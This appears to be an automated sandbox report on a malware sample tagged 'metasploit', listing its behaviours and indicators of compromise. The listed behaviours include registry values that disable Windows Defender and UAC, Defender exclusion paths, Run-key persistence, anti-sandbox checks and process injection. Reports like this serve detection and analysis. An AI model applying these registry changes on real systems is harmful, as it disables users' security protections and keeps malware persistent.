metasploit | 64506751e65ec41605c04620d393cdf9338ce76d31d8b0868dbdfce88f086a03

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	AdvancedRun.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TrustedInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ixDP7JtggePrgoUhysMLbAzS.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	yYR_0E6XHirmHTzJcUFSMOOj.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4u0Fh6PfDIdPzCG05pPZXbQU.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TrustedInstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ixDP7JtggePrgoUhysMLbAzS.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	AdvancedRun.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	j0dmMkg_enJVYkJN3ly7pyb2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	j0dmMkg_enJVYkJN3ly7pyb2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	yYR_0E6XHirmHTzJcUFSMOOj.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0CYNRpGWARvtFbrz8fnFBAG5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0CYNRpGWARvtFbrz8fnFBAG5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4u0Fh6PfDIdPzCG05pPZXbQU.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	msedge.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe	Calculator.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe	Calculator.exe

Loads dropped DLL 24 IoCs

pid	Process
2244	setup_install.exe
2244	setup_install.exe
2244	setup_install.exe
2244	setup_install.exe
2244	setup_install.exe
4120	Tue201d50e7015.tmp
1976	Tue201d50e7015.tmp
5816	rundll32.exe
2200	msiexec.exe
2200	msiexec.exe
6004	0OWMoxbNwK3p0CfsHrGc1Ay8.exe
6004	0OWMoxbNwK3p0CfsHrGc1Ay8.exe
6004	0OWMoxbNwK3p0CfsHrGc1Ay8.exe
6004	0OWMoxbNwK3p0CfsHrGc1Ay8.exe
5224	rundll32.exe
5224	rundll32.exe
6004	0OWMoxbNwK3p0CfsHrGc1Ay8.exe
3680	Calculator.exe
2236	setup.tmp
5608	Calculator Installation.exe
5608	Calculator Installation.exe
7360	DYbALA.exe
5608	Calculator Installation.exe
5608	Calculator Installation.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	Calculator.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet	Calculator.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SpyNetReporting = "0"	Calculator.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	Calculator.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	Calculator.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Pictures\Adobe Films\eengN0SAkx51YZnmVlMESXRk.exe = "0"	Calculator.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection	Calculator.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	Calculator.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent = "0"	Calculator.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	Calculator.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe = "0"	Calculator.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files\Common Files\System\sememe\svchost.exe = "0"	Calculator.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	459688.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\hepatocyte = "C:\\Program Files\\Common Files\\System\\sememe\\svchost.exe"	Calculator.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\hepatocyte = "C:\\Program Files\\Common Files\\System\\sememe\\svchost.exe"	hepatocyte.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 10 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	AdvancedRun.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4u0Fh6PfDIdPzCG05pPZXbQU.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ixDP7JtggePrgoUhysMLbAzS.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	hepatocyte.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	hepatocyte.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Calculator.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Calculator.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	j0dmMkg_enJVYkJN3ly7pyb2.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	yYR_0E6XHirmHTzJcUFSMOOj.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	0CYNRpGWARvtFbrz8fnFBAG5.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 13 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
39	ip-api.com
278	api.db-ip.com
585	ipinfo.io
39	ipinfo.io
48	ipinfo.io
90	ipinfo.io
122	ipinfo.io
244	ipinfo.io
245	ipinfo.io
272	api.db-ip.com
303	ipinfo.io
329	ipinfo.io
593	ipinfo.io

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
5880	WerFault.exe
5128	AdvancedRun.exe
1448	j0dmMkg_enJVYkJN3ly7pyb2.exe
3144	0CYNRpGWARvtFbrz8fnFBAG5.exe
5384	4u0Fh6PfDIdPzCG05pPZXbQU.exe
5680	ixDP7JtggePrgoUhysMLbAzS.exe
2576	msedge.exe
5716	yYR_0E6XHirmHTzJcUFSMOOj.exe

Suspicious use of SetThreadContext 11 IoCs

description	pid	Process	procid_target
PID 2068 set thread context of 5160	2068	WerFault.exe	135
PID 4540 set thread context of 5176	4540	Tue2082ea84bd.exe	133
PID 3424 set thread context of 5284	3424	Tue20c79bfdadc.exe	136
PID 3532 set thread context of 5340	3532	CS3pL7gf19AXPjEmH13CFPhd.exe	207
PID 2632 set thread context of 3272	2632	7pJPI8ygnI1NKfWVZzPmaLn2.exe	212
PID 5900 set thread context of 3208	5900	MPBInnvNQNGFqEA27CwasfoV.exe	55
PID 5524 set thread context of 3208	5524	cIBnQSYr2J_KMW2RvwjriDqG.exe	55
PID 3680 set thread context of 1104	3680	Calculator.exe	298
PID 6736 set thread context of 5504	6736	TrustedInstaller.exe	497
PID 3280 set thread context of 5668	3280	8BBC.exe	389
PID 1224 set thread context of 7492	1224	hepatocyte.exe	369

Drops file in Program Files directory 17 IoCs

description	ioc	Process
File created	C:\Program Files\Common Files\System\sememe\svchost.exe	Calculator.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	lVYJAWj3_AfiTN5OCV7nEgGm.exe
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe	setup.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-PP33E.tmp	setup.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-476IK.tmp	setup.tmp
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	1F5D.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	0159DFXcLaLww_uNr1E9KewO.exe
File created	C:\Program Files (x86)\FarLabUninstaller\is-4NR28.tmp	setup.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-N68CR.tmp	setup.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	lVYJAWj3_AfiTN5OCV7nEgGm.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe	lVYJAWj3_AfiTN5OCV7nEgGm.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	lVYJAWj3_AfiTN5OCV7nEgGm.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	1F5D.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	0159DFXcLaLww_uNr1E9KewO.exe
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe	setup.tmp

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File created	C:\Windows\System\xxx1.bak	OcWBbXpA_6EaWCW32O6fAAgf.exe
File created	C:\Windows\System\svchost.exe	OcWBbXpA_6EaWCW32O6fAAgf.exe
File opened for modification	C:\Windows\System\svchost.exe	OcWBbXpA_6EaWCW32O6fAAgf.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 36 IoCs

pid	pid_target	Process	procid_target
4728	2244	WerFault.exe	89
6052	5816	WerFault.exe	141
5192	2524	WerFault.exe	129
5432	4408	WerFault.exe	111
5808	3520	WerFault.exe	176
2984	3964	WerFault.exe	174
4656	5408	WerFault.exe	173
5908	1940	WerFault.exe	123
5552	4108	WerFault.exe	181
5096	548	WerFault.exe	109
6792	3444	WerFault.exe
2884	2496	WerFault.exe	253
6596	5476	WerFault.exe	263
5636	5760	WerFault.exe	244
5584	1480	WerFault.exe	249
1632	6528	WerFault.exe	287
7848	7360	WerFault.exe	367
7380	6192	WerFault.exe	343
6204	5040	WerFault.exe	339
3716	6368	WerFault.exe	351
7400	7440	WerFault.exe	368
7460	5784	WerFault.exe	386
3636	7156	WerFault.exe	382
6036	5796	WerFault.exe	384
4552	3064	WerFault.exe	452
6572	1900	WerFault.exe	458
7112	2296	WerFault.exe	461
7768	6056	WerFault.exe	400
7488	2792	WerFault.exe	542
6580	2792	WerFault.exe	542
6936	7316	WerFault.exe	564
7100	6112	WerFault.exe	598
7280	7960	WerFault.exe	558
8304	4948	WerFault.exe	624
8636	5032	WerFault.exe	589
6308	9060	WerFault.exe	663

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CS3pL7gf19AXPjEmH13CFPhd.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CS3pL7gf19AXPjEmH13CFPhd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	schtasks.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	schtasks.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CS3pL7gf19AXPjEmH13CFPhd.exe

Checks processor information in registry 2 TTPs 64 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Process not Found
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1088	schtasks.exe
5624	schtasks.exe
6176	schtasks.exe
6316	schtasks.exe
5668	schtasks.exe

Enumerates system info in registry 2 TTPs 34 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	setup.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Process not Found
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	powershell.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Process not Found
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command-Line Interface

T1059

pid	Process
6464	NETSTAT.EXE
6492	ipconfig.exe
6660	ipconfig.exe

Kills process with taskkill 7 IoCs

evasion

pid	Process
6916	taskkill.exe
2824	taskkill.exe
5792	taskkill.exe
5336	taskkill.exe
5324	taskkill.exe
4532	taskkill.exe
6084	taskkill.exe

Runs ping.exe 1 TTPs 5 IoCs

Remote System Discovery

T1018

pid	Process
1872	PING.EXE
2104	PING.EXE
2440	PING.EXE
7836	PING.EXE
8304	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4016	powershell.exe
4016	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
4728	WerFault.exe
4728	WerFault.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4016	powershell.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4016	powershell.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe
4240	Tue2076b72c2666aa9c.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3208	Explorer.EXE

Suspicious behavior: MapViewOfSection 8 IoCs

pid	Process
5340	CS3pL7gf19AXPjEmH13CFPhd.exe
